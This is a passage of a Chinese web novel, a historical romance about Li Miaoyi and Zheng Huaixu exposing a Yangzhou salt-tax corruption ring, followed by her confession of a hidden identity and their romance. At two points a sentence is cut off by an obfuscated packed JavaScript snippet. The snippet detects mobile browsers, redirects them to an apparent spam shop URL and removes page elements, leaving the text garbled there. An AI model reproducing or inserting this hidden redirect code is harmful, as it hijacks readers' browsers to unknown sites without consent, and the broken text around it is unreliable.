而这些“加价”,最后会流进哪些人的口袋,不言自明。 “数目不小。”她面上不动声色,“容我再考虑几日。” “自然自然。”陈望举杯,朗声笑道,“陈某这扇门,随时为少夫人敞开。” 宴至申时方散。 马车驶出春煦园,李妙仪靠进车壁,一直端着的肩背这才松下来。 “如何?”低沉的嗓音从身侧传来。 李妙仪偏头,郑淮序不知何时已上了车,正坐在暗处看着她,车厢狭小,两人之间不过一臂距离。 “陈望开价三千引,每引加银五两。”她揉了揉酸胀的脖颈,“赵文康在场作保,王昀牵线搭桥。这三个人,已是铁板一块。” 郑淮序没接话,递过来一张纸。 李妙仪接过,借着车帘缝隙透进的光细看。这是一份名单,密密麻麻的名字上至盐课司正使,下至仓廪小吏,牵连二十三人。 “暗卫潜入盐课司档案库,抄录了近五年所有异常批文。”郑淮序的声音在她耳畔响起,“类似‘时光错引’的,四十余份,牵扯盐引两万余,折银近十万两。” 李妙仪捏着那张纸,指节微微发白。 “证据确凿了。”她抬眸,对上他的视线,“接下来如何?” 车厢微微一晃,郑淮序的身形随之倾了倾,手臂堪堪擦过她的肩。他没有立刻退开,就着这个近得有些过分的距离,说道: “等。等圣上亲卫南下,等人赃并获。” 他抬起手,将她鬓边一缕散落的碎发拢到耳后。 动作极轻,极自然,像是做过无数次。 车帘缝隙透进最后一线天光,恰好落在他侧脸上,勾勒出一道温和的轮廓。 “手怎么这么凉。”他忽然说,眉头皱了皱。 下一瞬,她的指尖被他拢进掌心。 她没抽回来。 两人都没再说话。 马车辚辚向前,驶过暮色渐沉的扬州城,驶向那个尚未到来的、不知是凶是吉的明天。 44. 肃清 自春煦园私宴后,扬州城的笙歌依旧彻夜不休,水波之下,却已暗流涌动。 李妙仪又赴了几场宴,皆是王昀殷勤牵线。瘦西湖的画舫、盐商的私宅园林,出入往来的,无不是盐商圈子里举足轻重的人物。 她渐渐摸清了这张网的脉络: 以陈望为首的“漕盐盟”,掌控着运河沿线的盐船运输;通过盐课司副使赵文康等人,操纵盐引发放、核销与“损耗”账目;而太守王延年父子,则坐镇官场,为这些交易遮风挡雨,打通关节。 利益分配更是精细,“干股”不记名,分红按时节,所有账目皆用暗语,寻常查验根本看不出破绽。 在陈望的别院中,她便亲眼见过一幅“分红簿”。那不是账簿,而是一幅山水长卷,题款、印章、皴法之中,处处暗藏数目。 “少夫人觉得这幅《江天暮雪》如何?”陈望当时笑问。 李妙仪细细端详,雪点浓淡疏密,山石皴法走势奇崛。她心中了然,这必是账目,面上却只赞道:“笔意苍润,当是大家手笔。” 陈望眼中闪过一丝满意。 这女子聪慧,一点即通,更难得的是懂得藏拙,确是个上佳的盟友。 而暗处,郑淮序的网撒得更深。 漱玉园地下,有一间原为冰窖的密室,如今堆满卷宗抄本。每夜子时过后,便有暗卫悄然而至,铁证如雪片般汇集。 郑淮序常在此熬至天明。有时李妙仪也来,两人对坐案前,将无数碎片拼成完整的图景。 “赵文康之子赵璠,去年在京城购宅,花费三万两。”她指着一份地契抄本,“他年俸不过三百两,这钱从何来?” 郑淮序翻出一份“分红簿”译文:“去岁秋分,赵文康分得‘雪银’八千两。” “雪银?”李妙仪蹙眉。 “他们的暗语。”郑淮序冷笑,“盐白如雪,故称‘雪银’。此外还有‘霜金’‘冰玉’,对应不同级别的分红。” 李妙仪细看译文,越看越是心惊。 仅弘化八年至十一年,经陈望之手流转的“雪银”便达二十余万两,涉及官员十七人。 “这些证据,足够定罪了。”她轻声道。 “还不够。”郑淮序摇头,“需得人赃并获,否则以这些人的手段,必能找到替罪羊,全身而退。” 时机,在十月初七来临。 那日细雨霏霏,运河上雾气氤氲。三艘看似寻常的货船于黄昏时分靠岸,船上下来二十余人,皆作商旅打扮,却步履沉稳、眼神锐利。 为首的,是御前侍卫统领陆昭。他与郑淮序少年时同在军中历练,有过命的交情。 两人在漱玉园密室相见,陆昭取出贴身密旨。黄绫上,朱砂字迹凌厉: “着尔等详查实证,人赃并获,一网打尽。许便宜行事,务必斩草除根。” 账册、批文、密信、证供,叠起半尺之高。陆昭一页页翻过,面色愈发沉凝。 “何时动手?”郑淮序问。 “两日后子时。”陆昭眼中寒光如刃,“我的人已控制城门、码头、要道。届时以火光为号,同时收网。” 这两日,扬州城出奇平静。 李妙仪照旧赴了一场宴,是王昀在明月楼做东。席间觥筹交错,王昀意气风发,俨然已是盐商圈中炙手可热的新贵。 看着这些推杯换盏的面孔,李妙仪清楚,不久之后,其中许多人将成为阶下囚。 “少夫人,陈某敬你一杯。”陈望举杯,“日后国公府的盐路,还望多多关照。” 李妙仪颔首浅笑,举杯饮尽,心中却无半分波澜。 宴散时,王昀送她至楼下。月光下,他的目光灼热:“令言,待这批盐引办妥,我陪你去杭州走走可好?西湖景致,比瘦西湖更胜一筹。” 她垂眸,语声淡然:“到时再说罢。” 转身上车,帘子落下时,她瞥见他仍站在原地,目送她的马车远去。 只可惜,路已走错,再无回头。 两日后,夜。 亥时末,扬州城仍沉浸在一片温柔富贵之中。无人知晓,四门守军已悄然换防,运河各码头被秘密控制。一队队黑衣劲装的亲卫潜伏暗处,如猎豹伏于草丛。 子时整,城东盐课司衙门方向,一道火光冲天而起。 以此为号,全城同时收网! 盐课司衙门的后宅,赵文康正与两名心腹饮酒密谈。桌上摊着几份新拟的“损耗”账目,明日便要入库归档。 “这批湿腐的数目,比往年多了三成。”一名吏员低声道,“会不会惹人注意?” 赵文康抿了口酒,冷笑:“放心,上面都打点好了……” 话音未落,门外忽传来惊呼与兵甲的碰撞声。 “怎么回事?”赵文康霍然起身。 房门被一脚踹开,陆昭持刀而入,身后亲卫鱼贯涌进,瞬间控制全场。火光映着陆昭冷峻的面孔:“赵文康,你事发了。” 赵文康面如土色,手中酒杯“哐当”一声坠到了地上。 几乎在同一刻,陈望位于春煦园的私宅被破门而入。 这位以谨慎著称的大盐商,正伏案核对一幅新绘的“分红图”,闻声急将画卷投入火盆,却被亲卫一把抢出。 “陈老板,这画烧了多可惜。”陆昭的副将冷笑,“不如留着,当个证物。” 陈望瘫坐椅中,闭目长叹。 太守府亦是灯火通明,王延年本已就寝,被亲卫从榻上拖起时,仍着寝衣。 他为官多年,强作镇定:“尔等何人?竟敢夜闯太守府!” “奉圣上密旨,查办盐政贪腐案。”陆昭亮出令牌,“王大人,请吧。” 王延年看见令牌上的御印,浑身一颤,终是瘫软在地。 而春煦园另一处雅阁中,王昀正与两名盐商密谈。听闻外间动静,他推窗一望,只见园中火把如潮水涌入,转身欲逃,门口已被堵死。 被押出园子时,天边已露微光。 他看见李妙仪站在不远处一辆马车旁,一袭素衣,神色平静如水。 四目相对,王昀眼中先是迷茫,继而恍然,最后迸出刻骨恨意:“你算计我?!” 李妙仪缓步走近,在离他三步处停住。晨风拂起她鬓边碎发,声音清冷如霜:“王昀,我从未算计你。是你们自己,一步步走到今日。” 王昀嘶声质问:“我待你一片真心,你为何……” “真心?”李妙仪打断他,眼中掠过一丝悲悯,“你的真心,是建立在啃噬江山社稷之上。王 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盐课司衙门被封,所有账册档案尽数查封。陆昭带来的亲卫与刑部官员组成专案组,日夜审讯,核对证据。每日皆有囚车从街巷驶过,押着官员商贾往不同的衙门受审,引得百姓驻足围观。 “听说了吗?赵大人贪了十几万两!” “何止,陈老板那些盐船,一半运的都是私盐……” “王太守平时看着清廉,原来名下那么多产业……” 茶楼酒肆,街头巷尾,皆是一片议论声。有人拍手称快,有人唏嘘感慨,更有人惶惶不可终日。 那些曾与涉案者有过往来的小吏、帮闲,个个提心吊胆,生怕哪日祸事就落到自己头上。 李妙仪深居漱玉园,再未外出。郑淮序则日夜协助陆昭办案,常常彻夜不归。偶尔深夜归来,他会与她简单说些进展。 “赵文康招了,供出户部郎中方谨。” “陈望嘴硬,但那些密账烧不掉,铁证如山。” “王延年想咬出几位京中大员,但证据尚不足。” 每多一份口供,案情便更清晰一分。随着证据逐一呈现,盐引贪腐的真相愈发触目惊心: 十年间,扬州盐场通过“时光错引”“虚报损耗”“以次充好”等手段,侵吞官盐近百万斤,折银三十余万两;涉案官员收受贿赂、干股分红,少则数千,多则数万;而背后的保护伞,竟延伸至户部、都察院…… 那些碎片,终于拼成了一幅完整的图景。 圣旨终于抵达扬州。 宣旨那日,钦差在知府衙门当众宣读,衙外围满了百姓。雪落无声,万头攒动间,只听得见那冰冷的官腔一字一句砸下来: “主犯赵文康、陈望、王延年等十七人,贪墨国帑,祸乱盐政,罪无可赦,判斩立决,家产抄没。” “从犯周禄、孙斌等四十三人,流放三千里,永不得返。” “扬州盐课司官员一体革职,待核查后另任。” 每念一句,人群中便是一阵骚动。 雪越下越大,覆盖了衙前的青石板,落在那些惶恐或快意的脸上,仿佛要将这十载污浊一并洗净。 45. 身份 李妙仪立在漱玉园的廊下,望着漫天飞雪。檐角积雪渐厚,不时有雪块滑落,扑簌一声砸在青石板上,碎成粉末。她伸出手,几片雪花落在掌心,转瞬化成水珠,冰凉沁入肌肤。 正出神时,院门被推开了。 郑淮序踏雪归来,肩上落了些雪沫,进屋遇暖便化开,洇出深色的水痕。他解下大氅递给迎上来的下人,目光却一直落在她身上,眉头不由蹙起:“怎么站在风口?” 他快步走近,握住她的手,用自己的掌心裹住,低头呵了口热气,“手这样凉,站了多久了?” 李妙仪望着他低垂的眼睫,那样长,那样密,在眼底投下一小片阴影。 这半年,他们一起见过明月楼的月色,一起熬过查案的深夜,一起面对收网时的凶险。有些东西,早已在不知不觉中改变。 心中某个角落,忽然就软了下来。 “进去吧。”她轻声说,反握住他的手。 两人进了屋,炭火早已烧得正旺,暖意扑面而来。李妙仪亲手斟了杯热茶递过去,问道:“盛京那边可有消息?” 郑淮序接过茶盏,暖意在掌心化开:“震动不小,户部侍郎已下狱,都察院两位御史停职待查。圣上借此事整顿吏治,朝中风气为之一清。” 李妙仪点点头,却没有松口气的神色:“只是你我此番作为,也得罪了不少人。” “是。”他没有隐瞒,“扬州案虽破,却也断了某些人的财路,损了某些人的羽翼。这些账,总会有人想算。 “王延年父子……” “王延年判斩立决,五日后行刑。家产抄没,女眷发还原籍。”郑淮序语气平淡,“王昀流放三千里,永不得返。王家倒了,琅琊王氏本家也受牵连,至少十年难复元气。” 李妙仪一时沉默。 她想起半年前初到扬州时,王昀还是那个在诗会上谈笑风生的翩翩公子,如今却要踏上流放之路,余生都将在苦寒之地度过。权势富贵,真如镜花水月,转眼成空。 “你可是不忍?”郑淮序看她。 “不是不忍。”李妙仪摇头,目光越过他,落向窗外纷飞的雪,“只是感慨,若他们守得住本心,若他们不行恶事,何至于此。” 郑淮序没有回答,伸手揽住她的肩,将她往自己身边带了带。 盐案尘埃落定后的扬州,仿佛卸去了一层厚重的脂粉,露出清秀素净的容颜。 这日晨起,李妙仪推开窗,只见园中积雪盈尺,几株红梅破雪而出,点点胭脂色在素白中格外醒眼。深吸一口气,只觉得连日来的郁结都散了几分。 “少夫人,二公子问您今日可想去瘦西湖赏雪。”青梧捧着暖手炉进来,眼中带着笑意,“说湖上雪景难得,错过了可惜。” 李妙仪心中微动。 这半月来忙于案牍,确实未曾好好看过扬州。如今大事已毕,有些话,也该说了。 她换了身月白缎面镶风毛的斗篷,斗篷边缘是一圈雪白的狐裘,衬得她面若芙蓉。对着镜子看了许久,确定没有一丝不妥,才转身出门。 出门时,郑淮序已等在院中。他今日也穿了身墨色大氅,肩上落着细雪,见她出来,眼中漾开暖意。 “走吧。”他自然地伸出手。 李妙仪将手搭在他掌心,指尖传来温热的触感。 两人并肩走过漱玉园的游廊,积雪在脚下发出咯吱轻响,留下一串并行的足迹。 瘦西湖果然别有一番韵致。 平日碧波荡漾的湖面结了薄冰,覆着层新雪,远望如一块无瑕白玉。湖心的小岛、岸边的亭台、远处的白塔,都被白雪覆盖,在淡青色的天幕下,宛如一幅水墨画。 画舫都泊在岸边,篷顶积着雪。岸边柳树枝条裹着冰凌,阳光下晶莹剔透,偶尔有风吹过,叮当作响,清脆悦耳。郑淮序解开系在岸边的小舟缆绳,持桨立在船头,向李妙仪伸出手。 她提着裙角,小心踏上船板。船身轻轻晃了晃,他稳稳扶住她的手臂,等她坐定,才收回手。 小舟破冰而行,冰层碎裂发出轻微的咔嚓声,在镜面般的湖上划开一道涟漪。 郑淮序划桨的动作不疾不徐,桨叶入水无声,只偶尔带起一串水珠,在雪光中闪烁。 李妙仪坐在船头,望着两岸雪景。 “冷么?”郑淮序将桨搁在船舷,坐到她身侧,将大氅分了一半披在她肩上。 氅衣还带着他的体温,裹上来时,有淡淡的墨香。 李妙仪轻轻摇头,目光仍流连在景致上:“从前在盛京,总觉得雪是肃杀的,是冷的,是让人瑟缩的。到了江南才知,雪也可以这般温柔,这般诗意。” “江南的雪,落地即化,留不住。”郑淮序望着远方,“就像这湖上的景,今日看是这样,明日看又是另一番模样。” 他侧脸的轮廓在雪光中格外分明,鼻梁高挺,眉骨分明,长睫上沾了细雪,很快融成水珠,顺着睫毛滑落。 李妙仪看着他,忽然想起前世第一次见他。 那时他一身玄衣,坐在学宫梅林的石凳上,手执白子,与人对弈。她从他身侧走过,他恰好落子,棋子落在棋盘上发出清脆的一声,便忍不住多看了一眼 谁能想到,那个疏离冷淡的人,如今还坐在她身侧。 船至湖心,郑淮序将桨收进舱中。小舟顺着水势缓缓打了个旋,最终静静停在湖中央。 四面皆雪景,天地间只剩下他们两个人。 李妙仪深吸一口气,转眸看向郑淮序。他正望着远处的白塔,目光悠远,不知在想什么。 “郑淮序。”她轻声唤道。 “嗯?”他回过头,目光柔和。 “我有话要对你说。”她的声音有些发紧,手心微微出汗,“很重要的话。” 郑淮序见她神色郑重,也坐正了身子,目光专注地看着她:“你说。” 雪花无声飘落,有几片落在她睫毛上,她未拂去,只定定看着他。 这一刻,她等了太久。 从醒来发现自己成了另一个人那天起,从决定以崔令言的身份活下去那天起,从发现自己对他动了心那天起,她就在等这一天。 等一个能坦诚相告的时机,等一个不会让他惊骇的方式,等一个无论结果如何都要说出口的勇气。 “我不是崔令言。”她说。 这话说得没头没脑,郑淮序却未露讶色,只静静等她继续。 她的声音几乎被风吹散:“围猎那日,我坠崖身亡。醒来时,就成了崔令言。那时围猎的事情已经过去了半年,我记忆残缺,只能借崔令言的身份暗中追查真凶。” 她顿了顿,声音轻如雪落:“我是李妙仪,死过一次,又回来了。” 说完这话,她闭上眼,不敢看他。 这个秘密压在她心底太久,久到几乎成为她的一部分。 她想过无数次坦白的情景,想过他可能的反应——惊骇、怀疑、恐惧,甚至将她视作妖异。 可她还是想赌一次。 然而良久,只听到一声轻叹。 她睁开眼,见郑淮序正看着她,眼中没有惊骇,只有深不见底的温柔。 “我知道。”他说。 李妙仪怔住,眼中满是不可置信:“你知道?” “早有所觉。”郑淮序伸手,轻轻拂去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244538|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她睫毛上的雪花,“从前的崔令言娴静温婉,做事循规蹈矩。而你……”他指尖轻抚她脸颊,“你有太多我熟悉的地方了。” 李妙仪眼眶微热,泪水在眼眶中打转:“那你为何从不问?” “问什么?问你为何成了另一个人?”郑淮序摇头,“你不愿说,定是我做得还不够好,不足以让你无条件信任我。我有什么资格问?我唯一能做的,就是等,等你愿意告诉我的那一天。” 他捧起她的脸,额头抵着她的额头,呼吸拂在她脸上,痒痒的,却让她想哭。 “对不起,妙仪。”他的声音有些沙哑,“是我没有保护好你,才让你受那样的苦。围猎那日,我该不与你争吵,若留在你身边,或许能早些发现异常……” 李妙仪抬手捂住他的嘴,摇头:“不是你的错,这场计谋策划已久,谁也防不住。” 郑淮序握住她的手,在手背上落下一吻。 “无论你变成什么样,我都认得出。”他看着她,目光灼灼,“也都会爱,就算等一辈子也无妨。” 雪花纷纷扬扬,落在他们发间、肩头,将他们染成两个雪人。 李妙仪望着他,泪水终于滑落,却在下一秒被他轻柔拭去。 “所以,”郑淮序凑近,指尖擦过她的耳廓,“这个秘密说完了,还有别的么?” 李妙仪破涕为笑:“没有了,就这一个,最大的。” “那好。”他眼中闪过狡黠的光,“现在轮到我了。” 不等她反应,那最后的缝隙终于消失。 他含住她的下唇,轻轻一吮,如雪花飘落,带着小心翼翼的珍重。 风在他们身边呼啸,他抬手抚上她的脸颊,指腹在颊边摩挲,轻浅的试探逐渐化作温存的缠绕。泪水的咸涩渗进唇缝,唇齿间若有若无的梅香,勾着他往更深处探寻。 李妙仪眼睫低垂,攥着他衣襟的手指蜷了蜷,随即环住他的脖颈,柔软压着柔软。 不知是谁先加重了力道,渐渐失了最初的克制。 辗转碾磨间,他带着隐忍许久的贪婪,一小口一小口地啜饮、啃咬。她的指缝穿过他的发丝,时而收紧,时而松开,呼吸变得又轻又急,在交错的唇齿间碎成颤栗的叹息。 天地寂静,唯有彼此的心跳声,在胸腔中共鸣。 良久,郑淮序才松开她,额头相抵,呼吸交错。两人的唇都有些红肿,眼中却都漾着笑意。 “还有一件事。”他在她耳边低语,热气拂过她耳廓,让她的耳朵瞬间染上红晕。 “什么?”李妙仪轻喘着,声音有些发软。 “无论前世如何,今生你都是我的。”他吻了吻她的鼻尖,温柔缱绻,然后看着她的眼睛,一字一句道,“往后余生,你都别想逃。” 李妙仪眼中泛起水雾,伸手环住他的腰,将脸埋在他肩头。 他的肩很宽,靠着很安心。 她闻着他身上熟悉的气息,轻声说:“好,不逃。” 过了许久,郑淮序才轻声道:“咱们该往回划了,这天看着还要下雪。” 他为李妙仪拢好大氅,起身拾起船桨。小舟在湖心轻轻打了个旋,缓缓调头,划向来处。 李妙仪望着逐渐远去的湖心,心中那块压了许久的巨石,终于彻底落下。 “郑淮序。” “嗯?” “谢谢你。”她眼中是化不开的柔情,“谢谢你能认出我。” 郑淮序一手划桨,一手将她揽近,在她发顶落下一吻:“该说谢谢的是我。谢谢你回来,谢谢你来我身边。” 在这纯白世界中,两颗心终于毫无保留地贴近,再不分彼此。 46. 熨帖 此后数日,扬州城的街巷与胜景间,处处留下他们相依的身影。 平山堂前,那株千年古梅正盛。李妙仪立于树下,浅笑盈盈,人面与梅花相映,清雅动人。郑淮序一时怔住,不顾周遭游人,在她鬓边落下一吻。 城郊古寺里,千年银杏正值落叶时节。满院铺金,李妙仪弯腰拾起一片叶子,对着阳光看那脉络分明的纹理。 “从前听人说,这树见过千年光阴。”郑淮序从身后环住她,下巴抵在她发顶,“那时只当是故事。如今却想,若能与你一起看过千年,该是何等幸事。” 更多时候,郑淮序处理完公务,便赶往听雨轩。 有时是对弈,他故意落错棋子,待她眼中绽开得意的笑意,便忍不住揉揉她的发顶,满心满眼都是宠溺。 有时是同执一卷书,两人肩并肩坐在案前,她轻声诵读,他静静聆听,偶尔目光相触,便是不言而喻的温柔。 有时甚至只是各自静坐,他处理公文,她临窗看书,不需言语,亦觉岁月安然。 腊月初,扬州诸事已毕,一行人启程返回盛京。 来时夏末,归时已是深冬。掐指算来,不觉竟已半载。李妙仪站在园门前回望,这座住了半年的园子,如今要离开了,心中竟生出不舍。 郑淮序走到她身边,握住她的手:“还会再来的。” 她点点头,转身上了马车。 大雪封路,运河冰封,只得改走陆路。马车在官道上颠簸前行,车帘外是茫茫雪原,路过村庄时,还能见到几分年节将至的气息。 连日赶路,李妙仪不慎受了些寒。第三日起便咳嗽起来,到了夜里,更是咳得难以安眠。 郑淮序察觉不对,歇息时,径直上了她的马车。他伸手探了探她额头,眉头愈紧:“受了风寒,怎么不说?” 李妙仪咳了两声:“只是小病,不必大惊小怪。” “小病?”郑淮序气笑了,“你这身子,小病拖成大病怎么办?” 他掀帘唤来郑平:“去前面镇上请个大夫,另外,问问可有客栈,今日早些歇下。” 郑平领命而去。 李妙仪想说什么,被他用眼神止住。 “别说话,好好歇着。”他将自己的大氅解下,盖在她身上,又倒了热茶递过去,“先喝点热水暖暖。” 李妙仪捧着茶盏,看他忙前忙后的模样。这人素日冷峻矜贵,在她面前却总是这样,事事周到,处处细心。 须臾,大夫来看过,开了几剂药,嘱咐要好生休养,不可再受凉赶路。 郑淮序听罢,当即决定:“前面镇上有处温泉山庄,我们便在那里歇几日,等你好了再走。” 李妙仪想说不必耽误行程,他却已吩咐下去,不容置喙。 那温泉山庄名唤“暖云居”,建在半山腰,是方圆百里最负盛名的休养之地。山庄主人是位四十余岁的妇人,姓易。见有贵客到,亲自迎了出来,引着他们往里走。 易夫人一面引路,一面含笑道:“今日不巧,只剩一处院子空着了。公子和夫人若不嫌弃,先将就着住下?” 李妙仪面露难色,正要开口解释,郑淮序已先应道:“无妨,就这个院子。” 易夫人笑着应了,将他们引进院中。院子不大,正房三间,中间为厅,东边是卧房,西边辟作书房,院中一方青石砌成的汤池,引来温泉活水注入。 易夫人交代完毕,便知趣地退下了。 李妙仪立在院中,望着那方汤池,又看了看郑淮序,欲言又止。 他自然明白她的心思,挑眉道:“只剩一间院子,你总不忍心让我住柴房吧?” 李妙仪脸微热:“那夜里如何安置?” “你睡床,我睡榻。”他说得云淡风轻,“又不是没睡过。” 李妙仪想起明月楼那夜,心中微动,却也没再说什么。 进了屋,郑淮序便吩咐人煎药。药熬好时,他亲自端到她面前,守着看她饮尽。 “苦么?”他从袖中取出一枚蜜饯。 李妙仪将其含入口中,酸酸甜甜化开,便习以为常道:“还好。” “去泡泡温泉。”他指了指院中汤池,“大夫说温泉水对风寒有益,能驱寒暖身。” 不多时,李妙仪换了身轻薄的中衣,裹着披风走到池边。又见郑淮序正背对着她,立在廊下,不知望着何处出神。 她赤足搅了搅池水,试探温度:“我要下去了。” “嗯。”他没有回头,“我在屋里,有事唤我。” 说罢便掀帘进了书房。 李妙仪褪去披风与中衣,小心踏入池中。泉水温润,漫过肌肤,一股暖流自四肢百骸涌来,驱散了连日来的疲惫与咳喘。 太舒服了。 她靠在池边,阖着眼,任由泉水温柔包裹,几乎要睡过去。 不知过了多久,她睁开眼,隔着那层朦胧的帘帐,望向屋内。 那方,郑淮序正坐在案前,眉头微蹙,神情专注。那执笔的手,指节分明,笔锋游走如龙蛇。 这双手,她见过太多次了。握剑时凌厉如风,一剑封喉;执笔时沉稳有力,字字千钧;抚过她脸颊时,却温柔克制。 泡了约莫半个时辰,她才起身回房,换上干净的寝衣,又用布巾绞干长发,这才进了书房。 郑淮序抬眸看她,目光落在她洇着潮红的脸颊上:“可好些了?” “嗯。”李妙仪走到案前,挨着他坐下,“没那么难受了。” 郑淮序继续写着,她便在一旁静静看。屋内暖意融融,院中温泉水雾缭绕,一切都恰到好处。 不知看了多久,她忽然起身,径直走到他面前。 郑淮序眼中闪过一丝诧异,还未开口,她已落入他怀中,手指攀上他衣襟,仰头看他。 “怎么了?”他放下笔,伸手揽住她的腰。 “没怎么。”她努力让声音听起来平稳,“想看你写字。” 郑淮序低笑,也不戳穿她,将她往怀里带了带,让她靠得更舒服些,便又执起笔。 只是这回,怀里多了一个人,字开始写得飘忽。 烛火静静燃烧,她忍不住伸出手,指尖悄悄覆上他的手背。 察觉到她的动作,他搁下笔,反手将她的手握住,裹进自己掌心。 “偷摸做什么?” “你的手真好看。”她答得坦然,指尖在他掌心挠了挠。 郑淮序眼中带着促狭的笑意,将她的手指送到唇边,吻了吻指尖,又轻轻含住。 李妙仪指尖一颤,下意识想抽回手,却被他十指紧扣。 他微微侧身,将头靠上她的肩颈,温热的呼吸洒在耳后。 “累了?”她抚了抚他的发顶,指尖穿过他的发丝,耐心按揉。 “嗯。”他闭上眼,难掩倦意。 连日赶路、照顾她、处理公务,铁打的人也扛不住。他整个人靠在她身上,像只倦极的兽,却仍要将她圈在怀里才肯安分。 她由着他依偎,一下一下拍着他的后背,温柔而安定。他就这样靠着她,呼吸渐渐平稳。 博山炉中一线沉水香,细细地、袅袅地,在晦暗的光线里蜿蜒。过了许久,他才抬起头,目光与她相接,眸中满是缱绻。 “妙仪。” 她应了一声,尾音消失在相触的唇间。他轻一下重一下地啄着,像是试探,又像是逗弄。 她仰起脸回应,他则托住她的下巴,将她更深地压向自己,吻从唇角滑到耳畔,细细密密地啃噬。 “伯章……”她难得唤他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到第五日清晨,李妙仪醒来时,发觉自己正被他密密地拥在怀中。 郑淮序还未醒,眉眼舒展,褪去了平日的锐利,显得格外温柔。 她心中柔软得一塌糊涂,指尖悬在半空,小心翼翼地描摹着他的轮廓,从眉峰到鼻梁,从鼻梁到唇峰。 一点一点,满心都是欢喜。 描到唇角时,他忽然动了动,捉住她的手。 “醒了?”他嗓音带着浓重的睡意,却已将她往怀里带了带,手臂收紧,让两人之间再无缝隙。 “嗯。”她声音轻柔,生怕打破这清晨的安宁。 郑淮序眼中漾开笑意,在她的额间印下一个温存的吻,然后才将脸埋在她发间,深深吸了口气。 “还早,再陪我躺会儿。”他的声音闷闷的,带着撒娇的意味。 李妙仪便不再动,乖乖靠在他怀里。 窗外传来隐约的鸟鸣声,还有积雪从枝头滑落的扑簌声。 过了许久,她才轻声道:“已歇了五日,该启程了。” “嗯。”他应着,却将她缠得更紧。 “再不走,年前赶不到了。” “嗯。” 李妙仪失笑,推了推他,指尖抵在他胸口:“郑淮序。” 他终于抬起头,眼中满是不舍:“真想就这样一直躺着,什么都不管。” “那可不行。”她笑,抚了抚他的脸,“盛京还有一堆事等着你呢。” 郑淮序叹了口气,撑起身子:“那便起来吧。” 用过早膳后,一行人收拾行装,准备启程。 易夫人来送行,见两人并肩而出,笑道:“公子和夫人真是恩爱,这几日可休息好了?” 李妙仪脸微红,正要解释,郑淮序却已揽住她,将她往身侧带了带:“有劳夫人款待,休息得很好。” 那手掌落在腰侧,烫得李妙仪一时忘了言语。 易夫人笑得意味深长:“那就好,那就好。二位慢走,有空再来。” 马车驶离暖云居,重新踏上归途。 李妙仪靠在郑淮序肩上,看着窗外飞速后退的雪景,心中满是安宁。 47. 关照 风尘仆仆赶回盛京时,已是腊月二十三。 小年这日,天灰蒙蒙的,国公府朱红的大门两侧,早已候满了人,皆翘首以盼。 马车驶入巷口时,眼尖的小厮立刻撒腿往里跑:“来了来了!二公子和少夫人到了!” 马车停稳,郑淮序先下车,转过身,伸出手,掌心朝上。 车帘再次掀开,李妙仪将手搭在他掌心,借力下车。刚落地,便听见一声带着哽咽的呼唤—— “令言!” 国公夫人由刘嬷嬷搀着,快步迎了上来。 “瘦了,瘦了这么多。”国公夫人捧着她的脸细细端详,“信中只说一切都好,可这哪里是好的样子?” 李妙仪心中暖流涌动,温声安抚道:“母亲,儿媳一切都好。只是路上赶了些,有些乏累,歇几日便养回来了。” 国公夫人连连点头,又看向一旁静立的郑淮序,泪眼婆娑中带着心疼:“平安回来就好,伯章也瘦了,这趟差事,想必不轻松。” 郑崇璟上前一步,拍了拍郑淮序的肩,沉声道:“序儿,可进宫复命了?” “正要去的。”郑淮序道,“父亲,我先去换身衣裳。” “去吧。”郑崇璟点头,“圣上那边等着,莫耽搁。” 郑淮序应了一声,视线转向李妙仪,只停留一瞬,却似有千言万语。然后转身,大步朝府内走去。 国公夫人拉着李妙仪的手往里走,絮絮叨叨问着路上的事。 李妙仪一一应答,余光却忍不住追随着那道远去的身影,直至他转过照壁,消失在月洞门后。 御书房内,气氛凝重。 仁宣帝端坐龙案之后,面色沉静如水,手中捏着一份奏章。下方两侧,站着几位朝中重臣。 郑淮序跪在殿中,将扬州之行的经过细细禀来。一桩桩一件件,条理清晰,证据确凿。 “以上,便是扬州盐案始末。”郑淮序叩首,“臣奉旨暗查,幸不辱命。” 仁宣帝沉默良久,殿中只闻炭火轻微的噼啪声。终于,帝王开口:“起来吧。” 郑淮序起身,垂手而立。 “扬州盐课司官员几乎全军覆没,两淮盐政彻底清洗。”仁宣帝的声音不辨喜怒,指尖轻叩龙案,“这背后牵扯之人,你心中可有数?” 郑淮序知他问的是朝中官员,恭声道:“臣只查到扬州,朝中之事,不敢妄言。” 仁宣帝颔首,目光缓缓扫过两侧重臣。 首辅裴守禊上前一步,拱手道:“圣上,扬州盐案证据确凿,涉案官员依法惩处便是。只是郑大人此番行事,是否……” 他的声调徒然尖锐:“兵部郎中介入盐政,虽奉密旨,终究有越权之嫌。且郑大人携嫂南下,虽有遮掩之意,却也于礼不合。臣以为,此事当慎之又慎,免遭非议” “裴相所言极是。”户部尚书亦附和道,“扬州盐案牵扯甚广,郑大人此番作为,虽为国除害,却也得罪了不少人。往后行事,只怕要多些掣肘。” 左都御史却道:“臣倒觉得,郑大人此行功大于过。扬州盐政糜烂已久,若非雷厉风行,何以整顿?至于掩人耳目之计,又得圣上默许,不必苛责。臣以为,当赏其功,不必追究细枝末节。” 三人各执一词,郑淮序静立殿中,面色如常。 仁宣帝抬了抬手,止住众人议论:“郑淮序奉旨行事,忠心可嘉。传朕旨意,擢郑淮序为兵部侍郎,赏金百两,绢帛五十匹。至于权宜之计,不必再议。” 郑淮序跪地谢恩。 退出御书房时,他能感觉到身后那几道目光,如芒在背。扬州盐案虽破,却也让他成了某些人的眼中钉。 傍晚,国公府的接风宴设在小花厅。 国公夫人拉着李妙仪坐在自己身侧,不住给她布菜。郑崇璟则坐在主位,神色比平日温和许多,偶尔问几句江南的风土人情。 郑淮序坐在对面,偶尔抬眸看她一眼,又若无其事地移开目光。 